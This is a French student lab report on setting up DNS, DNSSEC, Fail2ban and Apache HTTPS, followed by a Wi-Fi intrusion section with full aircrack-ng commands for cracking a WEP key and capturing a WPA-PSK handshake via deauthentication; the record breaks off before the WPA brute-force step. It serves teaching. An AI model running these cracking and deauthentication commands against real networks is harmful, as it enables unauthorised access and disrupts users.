Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
	ServerAlias www.rs7.online.&lt;br /&gt;
        Redirect permanent / https://rs7.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
        DocumentRoot /var/www/rs7.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
	&amp;lt;Directory /var/www/rs7.online&amp;gt;&lt;br /&gt;
		AllowOverride All&lt;br /&gt;
		Require all granted&lt;br /&gt;
	&amp;lt;/Directory&amp;gt;&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre page web est maintenant accessible via http://rs7.online .&lt;br /&gt;
&lt;br /&gt;
= Effraction Wi-Fi = &lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).&lt;br /&gt;
&lt;br /&gt;
* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''  &lt;br /&gt;
* Canal utilisé : '''11'''&lt;br /&gt;
&lt;br /&gt;
=== Passage de l’interface en mode monitor ===&lt;br /&gt;
&lt;br /&gt;
Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlan0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
Scan des réseaux protégés en WEP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --encrypt WEP wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié présente les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
=== Capture du trafic ===&lt;br /&gt;
&lt;br /&gt;
Capture ciblée du point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --channel 11 \&lt;br /&gt;
            --bssid 00:14:BF:63:1E:42 \&lt;br /&gt;
            --write capture_wep \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.&lt;br /&gt;
&lt;br /&gt;
=== Authentification d’une adresse MAC d’injection ===&lt;br /&gt;
&lt;br /&gt;
Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --fakeauth 0 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* -a : BSSID réel du point d’accès&lt;br /&gt;
* -h : adresse MAC utilisée pour l’injection&lt;br /&gt;
* --fakeauth 0 : authentification Open System&lt;br /&gt;
&lt;br /&gt;
Résultat : authentification et association réussies.&lt;br /&gt;
&lt;br /&gt;
=== Génération de trafic ARP (rejeu) ===&lt;br /&gt;
&lt;br /&gt;
Afin d’accélérer l’accumulation d’IV :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --arpreplay \&lt;br /&gt;
            -b 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.&lt;br /&gt;
&lt;br /&gt;
=== Désauthentification d’un client ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer l’émission de nouvelles requêtes ARP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --deauth 5 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette action force les stations à se reconnecter, générant du trafic exploitable.&lt;br /&gt;
&lt;br /&gt;
=== Cassage de la clé ===&lt;br /&gt;
&lt;br /&gt;
Lorsque le nombre d’IV atteint environ 45 000 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng capture_wep-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Résultat obtenu :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cracotte08.png|800px|vignette|centré]]&lt;br /&gt;
&lt;br /&gt;
- Nombre d’IV exploités : ~44 687&lt;br /&gt;
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE&lt;br /&gt;
- Taux de déchiffrement : 100 %&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable. &lt;br /&gt;
&lt;br /&gt;
La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt; en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; correspond à l’interface Wi-Fi placée en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié possède les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Paramètre !! Valeur&lt;br /&gt;
|-&lt;br /&gt;
| ESSID || kracotte08&lt;br /&gt;
|-&lt;br /&gt;
| BSSID || 44:AD:D9:5F:87:07&lt;br /&gt;
|-&lt;br /&gt;
| Canal || 13&lt;br /&gt;
|-&lt;br /&gt;
| Chiffrement || WPA2&lt;br /&gt;
|-&lt;br /&gt;
| Authentification || PSK&lt;br /&gt;
|-&lt;br /&gt;
| Puissance signal || -38 dBm&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Une station cliente connectée a également été détectée :&lt;br /&gt;
&lt;br /&gt;
* Adresse MAC : 40:A5:EF:01:25:8B&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Capture du handshake WPA ===&lt;br /&gt;
&lt;br /&gt;
Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-c 13&amp;lt;/code&amp;gt; : écoute sur le canal du point d’accès.&lt;br /&gt;
* &amp;lt;code&amp;gt;--bssid&amp;lt;/code&amp;gt; : filtrage du réseau cible uniquement.&lt;br /&gt;
* &amp;lt;code&amp;gt;-w&amp;lt;/code&amp;gt; : sauvegarde des paquets capturés.&lt;br /&gt;
* &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; : interface en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.&lt;br /&gt;
&lt;br /&gt;
===Forçage de la reconnexion des clients ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-0 10&amp;lt;/code&amp;gt; : envoi de 10 trames de désauthentification.&lt;br /&gt;
* &amp;lt;code&amp;gt;-a&amp;lt;/code&amp;gt; : BSSID du point d’accès cible.&lt;br /&gt;
&lt;br /&gt;
Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Sortie observée :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Absence de capture du handshake ===&lt;br /&gt;
&lt;br /&gt;
Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WPA handshake: 44:AD:D9:5F:87:07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
n’est apparu dans la fenêtre de capture.&lt;br /&gt;
&lt;br /&gt;
Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:&lt;br /&gt;
&lt;br /&gt;
